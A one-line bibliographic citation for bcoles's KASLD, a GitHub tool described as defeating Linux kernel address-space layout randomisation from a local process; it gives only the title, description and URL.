bcoles. (2026). KASLD defeats Linux kernel KASLR from a local process — recovering the virtual and physical memory layout where a leak or side channel allows, and narrowing it to the smallest set of placements the evidence supports otherwise. github.com. https://github.com/bcoles/kasld.